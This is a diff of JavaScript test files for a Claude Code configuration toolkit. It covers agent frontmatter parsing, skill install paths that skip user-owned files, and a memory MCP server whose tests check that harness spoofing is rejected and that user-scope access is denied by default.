const { readFrontmatter } = require(SCRIPT);
|
||||
testRoot = createTempDir('ecc-test-');
|
||||
writeFile(testRoot, 'agent.md', [
|
||||
'---',
|
||||
'name: test-agent',
|
||||
'tools: Bash, Read, Write',
|
||||
'---',
|
||||
'# Body',
|
||||
].join('\n'));
|
||||
|
||||
const fm = readFrontmatter(path.join(testRoot, 'agent.md'));
|
||||
assert.ok(Array.isArray(fm.tools));
|
||||
assert.deepStrictEqual(fm.tools, ['Bash', 'Read', 'Write']);
|
||||
cleanup(testRoot);
|
||||
});
|
||||
|
||||
test('readFrontmatter handles quoted values', () => {
|
||||
const { readFrontmatter } = require(SCRIPT);
|
||||
testRoot = createTempDir('ecc-test-');
|
||||
@@ -324,7 +384,7 @@ test('loadAgents loads agent markdown files', () => {
|
||||
'name: typescript-reviewer',
|
||||
'description: Reviews TypeScript code',
|
||||
'model: claude-sonnet-4-6',
|
||||
'tools: [Bash, Read, Write, Grep]',
|
||||
'tools: Bash, Read, Write, Grep',
|
||||
'---',
|
||||
'# TypeScript Reviewer',
|
||||
'You are a TypeScript code reviewer.',
|
||||
@@ -334,7 +394,7 @@ test('loadAgents loads agent markdown files', () => {
|
||||
'name: python-reviewer',
|
||||
'description: Reviews Python code',
|
||||
'model: claude-opus-4-8',
|
||||
'tools: [Bash, Read]',
|
||||
'tools: Bash, Read',
|
||||
'---',
|
||||
'# Python Reviewer',
|
||||
].join('\n'));
|
||||
|
||||
@@ -99,6 +99,36 @@ function runTests() {
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('adapts comma-separated scalar Claude Code tools', () => {
|
||||
const tempDir = createTempDir();
|
||||
const agentsDir = path.join(tempDir, '.gemini', 'agents');
|
||||
|
||||
try {
|
||||
writeAgent(
|
||||
agentsDir,
|
||||
'docs-lookup.md',
|
||||
[
|
||||
'---',
|
||||
'name: docs-lookup',
|
||||
'description: Documentation lookup agent',
|
||||
'tools: Read, Grep, mcp__context7__resolve-library-id, mcp__context7__query-docs',
|
||||
'model: sonnet',
|
||||
'---',
|
||||
'',
|
||||
'Body'
|
||||
].join('\n')
|
||||
);
|
||||
|
||||
const result = run([agentsDir]);
|
||||
assert.strictEqual(result.code, 0, result.stderr);
|
||||
|
||||
const updated = fs.readFileSync(path.join(agentsDir, 'docs-lookup.md'), 'utf8');
|
||||
assert.ok(updated.includes('tools: ["read_file", "grep_search", "mcp_context7_resolve_library_id", "mcp_context7_query_docs"]'));
|
||||
} finally {
|
||||
cleanupTempDir(tempDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('defaults to the cwd .gemini/agents directory', () => {
|
||||
const tempDir = createTempDir();
|
||||
const agentsDir = path.join(tempDir, '.gemini', 'agents');
|
||||
|
||||
@@ -100,8 +100,8 @@ function runTests() {
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'commands', 'plan.md')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'scripts', 'hooks', 'session-end.js')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'scripts', 'lib', 'utils.js')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'tdd-workflow', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'coding-standards', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'tdd-workflow', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'coding-standards', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'plugin.json')));
|
||||
|
||||
const statePath = path.join(homeDir, '.claude', 'ecc', 'install-state.json');
|
||||
@@ -133,23 +133,23 @@ function runTests() {
|
||||
assert.strictEqual(result.code, 0, result.stderr);
|
||||
|
||||
const claudeRoot = path.join(homeDir, '.claude');
|
||||
const skillPath = path.join(claudeRoot, 'skills', 'ecc', 'react-patterns', 'SKILL.md');
|
||||
const skillPath = path.join(claudeRoot, 'skills', 'react-patterns', 'SKILL.md');
|
||||
assert.ok(fs.existsSync(skillPath), 'react-patterns SKILL.md should be installed');
|
||||
|
||||
const content = fs.readFileSync(skillPath, 'utf8');
|
||||
assert.ok(
|
||||
content.includes('../../../rules/ecc/react/'),
|
||||
content.includes('../../rules/ecc/react/'),
|
||||
'source-relative rules link should be rewritten for the ecc/ namespace'
|
||||
);
|
||||
assert.ok(
|
||||
!content.includes('](../../rules/'),
|
||||
'no un-namespaced ](../../rules/ links should remain'
|
||||
!content.includes('](../../rules/react/'),
|
||||
'no un-namespaced ](../../rules/react/ links should remain'
|
||||
);
|
||||
|
||||
// The rewritten link must resolve to a file that actually exists on disk.
|
||||
const linkTarget = path.join(
|
||||
path.dirname(skillPath),
|
||||
'../../../rules/ecc/react/hooks.md'
|
||||
'../../rules/ecc/react/hooks.md'
|
||||
);
|
||||
assert.ok(fs.existsSync(linkTarget), 'rewritten link target should exist');
|
||||
} finally {
|
||||
@@ -365,7 +365,10 @@ function runTests() {
|
||||
assert.ok(result.stdout.includes('Mode: manifest'));
|
||||
assert.ok(result.stdout.includes('Profile: core'));
|
||||
assert.ok(result.stdout.includes('Included components: (none)'));
|
||||
assert.ok(result.stdout.includes('Selected modules: rules-core, agents-core, commands-core, hooks-runtime, platform-configs, workflow-quality'));
|
||||
assert.ok(result.stdout.includes(
|
||||
'Selected modules: rules-core, agents-core, commands-core, hooks-runtime, '
|
||||
+ 'platform-configs, skill-unified-memory, workflow-quality'
|
||||
));
|
||||
assert.ok(!fs.existsSync(path.join(homeDir, '.claude', 'ecc', 'install-state.json')));
|
||||
} finally {
|
||||
cleanup(homeDir);
|
||||
@@ -404,7 +407,10 @@ function runTests() {
|
||||
assert.strictEqual(result.code, 0, result.stderr);
|
||||
assert.ok(result.stdout.includes('Mode: manifest'));
|
||||
assert.ok(result.stdout.includes('Profile: minimal'));
|
||||
assert.ok(result.stdout.includes('Selected modules: rules-core, agents-core, commands-core, platform-configs, workflow-quality'));
|
||||
assert.ok(result.stdout.includes(
|
||||
'Selected modules: rules-core, agents-core, commands-core, platform-configs, '
|
||||
+ 'skill-unified-memory, workflow-quality'
|
||||
));
|
||||
assert.ok(!result.stdout.includes('hooks-runtime'));
|
||||
assert.ok(!fs.existsSync(path.join(homeDir, '.claude', 'ecc', 'install-state.json')));
|
||||
} finally {
|
||||
@@ -462,11 +468,101 @@ function runTests() {
|
||||
|
||||
const result = run(['--profile', 'core'], { cwd: projectDir, homeDir });
|
||||
assert.strictEqual(result.code, 0, result.stderr);
|
||||
assert.ok(result.stdout.includes('user-owned'), result.stdout);
|
||||
assert.ok(result.stdout.includes('Skipped operations:'), result.stdout);
|
||||
|
||||
assert.strictEqual(fs.readFileSync(userRulePath, 'utf8'), '# User custom rule\n');
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User custom skill\n');
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'rules', 'ecc', 'common', 'coding-style.md')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'tdd-workflow', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'verification-loop', 'SKILL.md')));
|
||||
const state = readJson(path.join(claudeRoot, 'ecc', 'install-state.json'));
|
||||
assert.ok(!state.operations.some(operation => (
|
||||
operation.destinationPath.startsWith(path.join(claudeRoot, 'skills', 'tdd-workflow'))
|
||||
)));
|
||||
} finally {
|
||||
cleanup(homeDir);
|
||||
cleanup(projectDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('reports applied and skipped user-owned Claude skill operations in JSON', () => {
|
||||
const homeDir = createTempDir('install-apply-home-');
|
||||
const projectDir = createTempDir('install-apply-project-');
|
||||
|
||||
try {
|
||||
const userSkillPath = path.join(
|
||||
homeDir,
|
||||
'.claude',
|
||||
'skills',
|
||||
'tdd-workflow',
|
||||
'SKILL.md'
|
||||
);
|
||||
fs.mkdirSync(path.dirname(userSkillPath), { recursive: true });
|
||||
fs.writeFileSync(userSkillPath, '# User custom skill\n');
|
||||
|
||||
const result = run(['--skills', 'tdd-workflow', '--json'], {
|
||||
cwd: projectDir,
|
||||
homeDir,
|
||||
});
|
||||
assert.strictEqual(result.code, 0, result.stderr);
|
||||
|
||||
const payload = JSON.parse(result.stdout);
|
||||
assert.strictEqual(payload.dryRun, false);
|
||||
assert.ok(payload.result.plannedOperations.length > 0);
|
||||
assert.ok(payload.result.operations.length > 0);
|
||||
assert.ok(payload.result.skippedOperations.length > 0);
|
||||
assert.strictEqual(
|
||||
payload.result.operations.length + payload.result.skippedOperations.length,
|
||||
payload.result.plannedOperations.length
|
||||
);
|
||||
assert.ok(payload.result.skippedOperations.every(operation => (
|
||||
operation.destinationPath.startsWith(path.dirname(userSkillPath))
|
||||
)));
|
||||
assert.ok(!payload.result.operations.some(operation => (
|
||||
operation.destinationPath.startsWith(path.dirname(userSkillPath))
|
||||
)));
|
||||
assert.ok(payload.result.warnings.some(warning => warning.includes('user-owned')));
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User custom skill\n');
|
||||
} finally {
|
||||
cleanup(homeDir);
|
||||
cleanup(projectDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('dry-run reports the same user-owned Claude skill conflicts as apply', () => {
|
||||
const homeDir = createTempDir('install-apply-home-');
|
||||
const projectDir = createTempDir('install-apply-project-');
|
||||
|
||||
try {
|
||||
const userSkillRoot = path.join(
|
||||
homeDir,
|
||||
'.claude',
|
||||
'skills',
|
||||
'tdd-workflow'
|
||||
);
|
||||
const userSkillPath = path.join(userSkillRoot, 'SKILL.md');
|
||||
fs.mkdirSync(userSkillRoot, { recursive: true });
|
||||
fs.writeFileSync(userSkillPath, '# User custom skill\n');
|
||||
|
||||
const result = run(
|
||||
['--skills', 'tdd-workflow', '--dry-run', '--json'],
|
||||
{ cwd: projectDir, homeDir }
|
||||
);
|
||||
assert.strictEqual(result.code, 0, result.stderr);
|
||||
|
||||
const payload = JSON.parse(result.stdout);
|
||||
assert.strictEqual(payload.dryRun, true);
|
||||
assert.ok(payload.plan.plannedOperations.length > 0);
|
||||
assert.ok(payload.plan.skippedOperations.length > 0);
|
||||
assert.ok(payload.plan.warnings.some(warning => warning.includes('user-owned')));
|
||||
assert.ok(payload.plan.skippedOperations.every(operation => (
|
||||
operation.destinationPath.startsWith(userSkillRoot)
|
||||
)));
|
||||
assert.ok(!payload.plan.operations.some(operation => (
|
||||
operation.destinationPath.startsWith(userSkillRoot)
|
||||
)));
|
||||
assert.strictEqual(fs.readFileSync(userSkillPath, 'utf8'), '# User custom skill\n');
|
||||
assert.ok(!fs.existsSync(path.join(homeDir, '.claude', 'ecc', 'install-state.json')));
|
||||
} finally {
|
||||
cleanup(homeDir);
|
||||
cleanup(projectDir);
|
||||
@@ -491,7 +587,14 @@ function runTests() {
|
||||
assert.strictEqual(state.request.legacyMode, false);
|
||||
assert.deepStrictEqual(
|
||||
state.resolution.selectedModules,
|
||||
['rules-core', 'agents-core', 'commands-core', 'platform-configs', 'workflow-quality']
|
||||
[
|
||||
'rules-core',
|
||||
'agents-core',
|
||||
'commands-core',
|
||||
'platform-configs',
|
||||
'skill-unified-memory',
|
||||
'workflow-quality'
|
||||
]
|
||||
);
|
||||
assert.ok(state.resolution.skippedModules.includes('hooks-runtime'));
|
||||
assert.ok(!state.resolution.skippedModules.includes('workflow-quality'));
|
||||
@@ -880,8 +983,8 @@ function runTests() {
|
||||
const result = run(['--config', configPath], { cwd: projectDir, homeDir });
|
||||
assert.strictEqual(result.code, 0, result.stderr);
|
||||
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'skills', 'ecc', 'security-review', 'SKILL.md')));
|
||||
assert.ok(!fs.existsSync(path.join(homeDir, '.claude', 'skills', 'ecc', 'dmux-workflows', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'skills', 'security-review', 'SKILL.md')));
|
||||
assert.ok(!fs.existsSync(path.join(homeDir, '.claude', 'skills', 'dmux-workflows', 'SKILL.md')));
|
||||
|
||||
const state = readJson(path.join(homeDir, '.claude', 'ecc', 'install-state.json'));
|
||||
assert.strictEqual(state.request.profile, 'developer');
|
||||
@@ -912,8 +1015,8 @@ function runTests() {
|
||||
const result = run([], { cwd: projectDir, homeDir });
|
||||
assert.strictEqual(result.code, 0, result.stderr);
|
||||
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'skills', 'ecc', 'security-review', 'SKILL.md')));
|
||||
assert.ok(!fs.existsSync(path.join(homeDir, '.claude', 'skills', 'ecc', 'dmux-workflows', 'SKILL.md')));
|
||||
assert.ok(fs.existsSync(path.join(homeDir, '.claude', 'skills', 'security-review', 'SKILL.md')));
|
||||
assert.ok(!fs.existsSync(path.join(homeDir, '.claude', 'skills', 'dmux-workflows', 'SKILL.md')));
|
||||
|
||||
const state = readJson(path.join(homeDir, '.claude', 'ecc', 'install-state.json'));
|
||||
assert.strictEqual(state.request.profile, 'developer');
|
||||
|
||||
@@ -0,0 +1,652 @@
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { spawn, spawnSync } = require('child_process');
|
||||
const { PassThrough } = require('stream');
|
||||
const { pathToFileURL } = require('url');
|
||||
|
||||
const SERVER = path.join(__dirname, '..', '..', 'scripts', 'memory-mcp.mjs');
|
||||
const {
|
||||
MAX_RESULTS,
|
||||
resolveVaultRoots,
|
||||
saveMemory,
|
||||
} = require('../../scripts/lib/memory-vault');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
async function test(name, fn) {
|
||||
try {
|
||||
await fn();
|
||||
console.log(` PASS ${name}`);
|
||||
passed += 1;
|
||||
} catch (error) {
|
||||
console.log(` FAIL ${name}`);
|
||||
console.log(` ${error.stack || error.message}`);
|
||||
failed += 1;
|
||||
}
|
||||
}
|
||||
|
||||
function createFixture(extraEnv = {}) {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-mcp-'));
|
||||
const projectRoot = path.join(root, 'project');
|
||||
const homeDir = path.join(root, 'home');
|
||||
fs.mkdirSync(path.join(projectRoot, '.git'), { recursive: true });
|
||||
fs.mkdirSync(homeDir, { recursive: true });
|
||||
return {
|
||||
root,
|
||||
projectRoot,
|
||||
env: Object.fromEntries(
|
||||
Object.entries({
|
||||
...process.env,
|
||||
HOME: homeDir,
|
||||
USERPROFILE: homeDir,
|
||||
ECC_MEMORY_PROJECT_ROOT: path.join(projectRoot, '.ecc', 'memory'),
|
||||
ECC_MEMORY_USER_ROOT: path.join(homeDir, '.ecc', 'memory'),
|
||||
ECC_MEMORY_HARNESS: 'claude',
|
||||
...extraEnv,
|
||||
}).filter(([, value]) => typeof value === 'string')
|
||||
),
|
||||
};
|
||||
}
|
||||
|
||||
function parseTextResult(result) {
|
||||
const text = result.content?.find(item => item.type === 'text')?.text;
|
||||
assert.ok(text, 'MCP result should contain text');
|
||||
return JSON.parse(text);
|
||||
}
|
||||
|
||||
async function withClient(fn, options = {}) {
|
||||
const fixture = createFixture(options.env);
|
||||
const child = spawn(process.execPath, [options.server || SERVER], {
|
||||
cwd: fixture.projectRoot,
|
||||
env: fixture.env,
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
});
|
||||
const pending = new Map();
|
||||
let nextId = 1;
|
||||
let stdout = '';
|
||||
let stderr = '';
|
||||
|
||||
child.stdout.on('data', chunk => {
|
||||
stdout += chunk.toString('utf8');
|
||||
let newlineIndex = stdout.indexOf('\n');
|
||||
while (newlineIndex >= 0) {
|
||||
const line = stdout.slice(0, newlineIndex);
|
||||
stdout = stdout.slice(newlineIndex + 1);
|
||||
if (line.trim()) {
|
||||
const message = JSON.parse(line);
|
||||
const waiter = pending.get(message.id);
|
||||
if (waiter) {
|
||||
pending.delete(message.id);
|
||||
if (message.error) {
|
||||
waiter.reject(new Error(`${message.error.code}: ${message.error.message}`));
|
||||
} else {
|
||||
waiter.resolve(message.result);
|
||||
}
|
||||
}
|
||||
}
|
||||
newlineIndex = stdout.indexOf('\n');
|
||||
}
|
||||
});
|
||||
child.stderr.on('data', chunk => {
|
||||
stderr += chunk.toString('utf8');
|
||||
});
|
||||
|
||||
function send(message) {
|
||||
child.stdin.write(`${JSON.stringify(message)}\n`);
|
||||
}
|
||||
|
||||
function request(method, params = {}) {
|
||||
const id = nextId;
|
||||
nextId += 1;
|
||||
return new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
pending.delete(id);
|
||||
reject(new Error(`Timed out waiting for ${method}. stderr: ${stderr}`));
|
||||
}, 5000);
|
||||
pending.set(id, {
|
||||
resolve: value => {
|
||||
clearTimeout(timeout);
|
||||
resolve(value);
|
||||
},
|
||||
reject: error => {
|
||||
clearTimeout(timeout);
|
||||
reject(error);
|
||||
},
|
||||
});
|
||||
send({ jsonrpc: '2.0', id, method, params });
|
||||
});
|
||||
}
|
||||
|
||||
const initialized = await request('initialize', {
|
||||
protocolVersion: '2025-11-25',
|
||||
capabilities: {},
|
||||
clientInfo: { name: 'ecc-memory-test', version: '1.0.0' },
|
||||
});
|
||||
assert.strictEqual(initialized.protocolVersion, '2025-11-25');
|
||||
send({ jsonrpc: '2.0', method: 'notifications/initialized', params: {} });
|
||||
|
||||
const client = {
|
||||
listTools: () => request('tools/list'),
|
||||
callTool: ({ name, arguments: toolArguments }) => request(
|
||||
'tools/call',
|
||||
{ name, arguments: toolArguments }
|
||||
),
|
||||
};
|
||||
|
||||
try {
|
||||
await fn(client, fixture);
|
||||
} finally {
|
||||
child.stdin.end();
|
||||
await new Promise(resolve => {
|
||||
if (child.exitCode !== null) {
|
||||
resolve();
|
||||
return;
|
||||
}
|
||||
const timeout = setTimeout(() => {
|
||||
child.kill();
|
||||
resolve();
|
||||
}, 2000);
|
||||
child.once('exit', () => {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
async function main() {
|
||||
console.log('\n=== Testing ECC memory MCP server ===\n');
|
||||
|
||||
await test('registers the bounded read/write/search/doctor tool surface', async () => {
|
||||
await withClient(async client => {
|
||||
const tools = await client.listTools();
|
||||
assert.deepStrictEqual(
|
||||
tools.tools.map(tool => tool.name).sort(),
|
||||
['memory_doctor', 'memory_read', 'memory_save', 'memory_search']
|
||||
);
|
||||
const save = tools.tools.find(tool => tool.name === 'memory_save');
|
||||
const search = tools.tools.find(tool => tool.name === 'memory_search');
|
||||
assert.ok(save.description.includes('unreviewed'));
|
||||
assert.ok(!JSON.stringify(save.inputSchema).includes('trust'));
|
||||
assert.ok(!JSON.stringify(save.inputSchema).includes('sourceHarness'));
|
||||
assert.ok(!JSON.stringify(search.inputSchema).includes('targetHarness'));
|
||||
assert.strictEqual(save.inputSchema.properties.body.minLength, 1);
|
||||
});
|
||||
});
|
||||
|
||||
await test('starts when the npm bin invokes the server through a symlink', async () => {
|
||||
const binRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-bin-'));
|
||||
const binPath = path.join(binRoot, 'ecc-memory-mcp');
|
||||
fs.symlinkSync(SERVER, binPath);
|
||||
try {
|
||||
await withClient(async client => {
|
||||
const tools = await client.listTools();
|
||||
assert.strictEqual(tools.tools.length, 4);
|
||||
}, { server: binPath });
|
||||
} finally {
|
||||
fs.rmSync(binRoot, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
await test('rejects an oversized partial line and recovers at the next message boundary', async () => {
|
||||
const {
|
||||
MAX_MESSAGE_BYTES,
|
||||
runStdioServer,
|
||||
} = await import(pathToFileURL(SERVER).href);
|
||||
const input = new PassThrough();
|
||||
const output = new PassThrough();
|
||||
let rawOutput = '';
|
||||
output.on('data', chunk => {
|
||||
rawOutput += chunk.toString('utf8');
|
||||
});
|
||||
runStdioServer({
|
||||
input,
|
||||
output,
|
||||
serviceOptions: { harness: 'claude' },
|
||||
});
|
||||
|
||||
input.write(Buffer.alloc(MAX_MESSAGE_BYTES + 1, 0x78));
|
||||
input.write(`\n${JSON.stringify({
|
||||
jsonrpc: '2.0',
|
||||
id: 1,
|
||||
method: 'initialize',
|
||||
params: {
|
||||
protocolVersion: '2025-11-25',
|
||||
capabilities: {},
|
||||
clientInfo: { name: 'bounded-test', version: '1.0.0' },
|
||||
},
|
||||
})}\n`);
|
||||
input.end();
|
||||
|
||||
await new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => reject(new Error('Timed out waiting for bounded output.')), 3000);
|
||||
const poll = () => {
|
||||
if (rawOutput.trim().split('\n').length >= 2) {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
} else {
|
||||
setImmediate(poll);
|
||||
}
|
||||
};
|
||||
poll();
|
||||
});
|
||||
|
||||
const messages = rawOutput.trim().split('\n').map(line => JSON.parse(line));
|
||||
assert.strictEqual(messages.length, 2);
|
||||
assert.strictEqual(messages[0].error.code, -32700);
|
||||
assert.strictEqual(messages[1].result.protocolVersion, '2025-11-25');
|
||||
});
|
||||
|
||||
await test('shares a saved handoff through MCP search and read', async () => {
|
||||
await withClient(async client => {
|
||||
const savedResult = await client.callTool({
|
||||
name: 'memory_save',
|
||||
arguments: {
|
||||
title: 'Codex to Claude handoff',
|
||||
body: 'The migration is green; review the rollout note.',
|
||||
kind: 'handoff',
|
||||
scope: 'project',
|
||||
targetHarnesses: ['claude'],
|
||||
tags: ['migration'],
|
||||
},
|
||||
});
|
||||
assert.strictEqual(savedResult.isError, undefined);
|
||||
const saved = parseTextResult(savedResult);
|
||||
assert.strictEqual(saved.memory.trust, 'unreviewed');
|
||||
assert.strictEqual(saved.memory.sourceHarness, 'claude');
|
||||
assert.strictEqual(Object.hasOwn(saved.memory, 'body'), false);
|
||||
|
||||
const searchResult = await client.callTool({
|
||||
name: 'memory_search',
|
||||
arguments: {
|
||||
query: 'migration rollout',
|
||||
limit: 5,
|
||||
},
|
||||
});
|
||||
const search = parseTextResult(searchResult);
|
||||
assert.strictEqual(search.results.length, 1);
|
||||
assert.strictEqual(search.results[0].memory.id, saved.memory.id);
|
||||
|
||||
const readResult = await client.callTool({
|
||||
name: 'memory_read',
|
||||
arguments: { id: saved.memory.id },
|
||||
});
|
||||
const read = parseTextResult(readResult);
|
||||
assert.strictEqual(read.memory.body, 'The migration is green; review the rollout note.');
|
||||
|
||||
const doctorResult = await client.callTool({
|
||||
name: 'memory_doctor',
|
||||
arguments: {},
|
||||
});
|
||||
const doctor = parseTextResult(doctorResult);
|
||||
assert.strictEqual(doctor.ok, true);
|
||||
assert.strictEqual(doctor.memoryCount, 1);
|
||||
});
|
||||
});
|
||||
|
||||
await test('rejects caller identity spoofing and hides other-harness memories', async () => {
|
||||
await withClient(async client => {
|
||||
await assert.rejects(
|
||||
() => client.callTool({
|
||||
name: 'memory_save',
|
||||
arguments: {
|
||||
title: 'Spoofed source',
|
||||
body: 'This must not be accepted.',
|
||||
sourceHarness: 'hermes',
|
||||
},
|
||||
}),
|
||||
/-32602/
|
||||
);
|
||||
await assert.rejects(
|
||||
() => client.callTool({
|
||||
name: 'memory_search',
|
||||
arguments: {
|
||||
query: '',
|
||||
targetHarness: 'hermes',
|
||||
},
|
||||
}),
|
||||
/-32602/
|
||||
);
|
||||
|
||||
const savedResult = await client.callTool({
|
||||
name: 'memory_save',
|
||||
arguments: {
|
||||
title: 'Hermes-only handoff',
|
||||
body: 'Only Hermes should receive this context.',
|
||||
kind: 'handoff',
|
||||
targetHarnesses: ['hermes'],
|
||||
},
|
||||
});
|
||||
const saved = parseTextResult(savedResult);
|
||||
assert.strictEqual(saved.memory.sourceHarness, 'claude');
|
||||
|
||||
const searchResult = await client.callTool({
|
||||
name: 'memory_search',
|
||||
arguments: { query: 'Hermes-only' },
|
||||
});
|
||||
assert.strictEqual(parseTextResult(searchResult).results.length, 0);
|
||||
|
||||
const readResult = await client.callTool({
|
||||
name: 'memory_read',
|
||||
arguments: { id: saved.memory.id },
|
||||
});
|
||||
assert.strictEqual(readResult.isError, true);
|
||||
assert.strictEqual(parseTextResult(readResult).error.code, 'MEMORY_READ_FAILED');
|
||||
|
||||
const doctor = parseTextResult(await client.callTool({
|
||||
name: 'memory_doctor',
|
||||
arguments: {},
|
||||
}));
|
||||
assert.strictEqual(doctor.memoryCount, 0);
|
||||
assert.strictEqual(Object.hasOwn(doctor, 'brokenLinks'), false);
|
||||
assert.strictEqual(Object.hasOwn(doctor, 'invalidFiles'), false);
|
||||
assert.strictEqual(JSON.stringify(doctor).includes(saved.memory.id), false);
|
||||
});
|
||||
});
|
||||
|
||||
await test('filters harness-visible backlinks before applying the response cap', async () => {
|
||||
await withClient(async (client, fixture) => {
|
||||
const roots = resolveVaultRoots({
|
||||
cwd: fixture.projectRoot,
|
||||
env: fixture.env,
|
||||
});
|
||||
const saveWithId = (input, id) => saveMemory(input, {
|
||||
roots,
|
||||
now: () => '2026-07-26T20:00:00.000Z',
|
||||
idFactory: () => id,
|
||||
});
|
||||
const targetId = 'mem_backlink_target';
|
||||
saveWithId({
|
||||
title: 'Backlink target',
|
||||
body: 'Visible target body.',
|
||||
targetHarnesses: ['claude'],
|
||||
}, targetId);
|
||||
|
||||
for (let index = 0; index < MAX_RESULTS; index += 1) {
|
||||
saveWithId({
|
||||
title: `Hidden backlink ${index}`,
|
||||
body: 'Only Hermes may see this backlink.',
|
||||
targetHarnesses: ['hermes'],
|
||||
links: [targetId],
|
||||
}, `mem_backlink_hidden_${String(index).padStart(3, '0')}`);
|
||||
}
|
||||
saveWithId({
|
||||
title: 'Visible backlink',
|
||||
body: 'Claude must still receive this backlink.',
|
||||
targetHarnesses: ['claude'],
|
||||
links: [targetId],
|
||||
}, 'mem_backlink_visible_zzz');
|
||||
|
||||
const read = parseTextResult(await client.callTool({
|
||||
name: 'memory_read',
|
||||
arguments: { id: targetId },
|
||||
}));
|
||||
assert.deepStrictEqual(
|
||||
read.backlinks.map(memory => memory.id),
|
||||
['mem_backlink_visible_zzz']
|
||||
);
|
||||
assert.strictEqual(read.backlinksTruncated, false);
|
||||
});
|
||||
});
|
||||
|
||||
await test('denies user scope unless the server explicitly grants it', async () => {
|
||||
await withClient(async client => {
|
||||
await assert.rejects(
|
||||
() => client.callTool({
|
||||
name: 'memory_save',
|
||||
arguments: {
|
||||
title: 'Private preference',
|
||||
body: 'Keep this in the user vault.',
|
||||
scope: 'user',
|
||||
},
|
||||
}),
|
||||
/user memory scope is disabled/
|
||||
);
|
||||
await assert.rejects(
|
||||
() => client.callTool({
|
||||
name: 'memory_search',
|
||||
arguments: { scopes: ['user'] },
|
||||
}),
|
||||
/user memory scope is disabled/
|
||||
);
|
||||
await assert.rejects(
|
||||
() => client.callTool({
|
||||
name: 'memory_read',
|
||||
arguments: {
|
||||
id: 'mem_20260726_user_scope_denied',
|
||||
scope: 'user',
|
||||
},
|
||||
}),
|
||||
/user memory scope is disabled/
|
||||
);
|
||||
});
|
||||
|
||||
await withClient(async client => {
|
||||
const savedResult = await client.callTool({
|
||||
name: 'memory_save',
|
||||
arguments: {
|
||||
title: 'Private preference',
|
||||
body: 'Keep this in the user vault.',
|
||||
scope: 'user',
|
||||
},
|
||||
});
|
||||
const saved = parseTextResult(savedResult);
|
||||
assert.strictEqual(saved.memory.scope, 'user');
|
||||
|
||||
const defaultSearch = parseTextResult(await client.callTool({
|
||||
name: 'memory_search',
|
||||
arguments: { query: 'Private preference' },
|
||||
}));
|
||||
assert.strictEqual(defaultSearch.results.length, 0);
|
||||
|
||||
const userSearch = parseTextResult(await client.callTool({
|
||||
name: 'memory_search',
|
||||
arguments: {
|
||||
query: 'Private preference',
|
||||
scopes: ['user'],
|
||||
},
|
||||
}));
|
||||
assert.strictEqual(userSearch.results[0].memory.id, saved.memory.id);
|
||||
|
||||
const userRead = parseTextResult(await client.callTool({
|
||||
name: 'memory_read',
|
||||
arguments: {
|
||||
id: saved.memory.id,
|
||||
scope: 'user',
|
||||
},
|
||||
}));
|
||||
assert.strictEqual(userRead.memory.id, saved.memory.id);
|
||||
}, { env: { ECC_MEMORY_ALLOW_USER_SCOPE: '1' } });
|
||||
});
|
||||
|
||||
await test('requires server identity and strictly validates JSON-RPC envelopes', async () => {
|
||||
const { createMemoryMcpService } = await import(pathToFileURL(SERVER).href);
|
||||
assert.throws(
|
||||
() => createMemoryMcpService({ env: {} }),
|
||||
/ECC_MEMORY_HARNESS/
|
||||
);
|
||||
|
||||
const fixture = createFixture({ ECC_MEMORY_HARNESS: undefined });
|
||||
try {
|
||||
const started = spawnSync(process.execPath, [SERVER], {
|
||||
cwd: fixture.projectRoot,
|
||||
env: fixture.env,
|
||||
encoding: 'utf8',
|
||||
});
|
||||
assert.strictEqual(started.error, undefined);
|
||||
assert.strictEqual(started.status, 1);
|
||||
assert.match(started.stderr, /ECC_MEMORY_HARNESS/);
|
||||
assert.ok(!started.stderr.includes('\n at '));
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
const service = createMemoryMcpService({ harness: 'claude' });
|
||||
for (const id of [null, false, {}, [], 1.5, Number.MAX_SAFE_INTEGER + 1, '']) {
|
||||
const response = await service.handle({
|
||||
jsonrpc: '2.0',
|
||||
id,
|
||||
method: 'initialize',
|
||||
params: {},
|
||||
});
|
||||
assert.strictEqual(response.id, null);
|
||||
assert.strictEqual(response.error.code, -32600);
|
||||
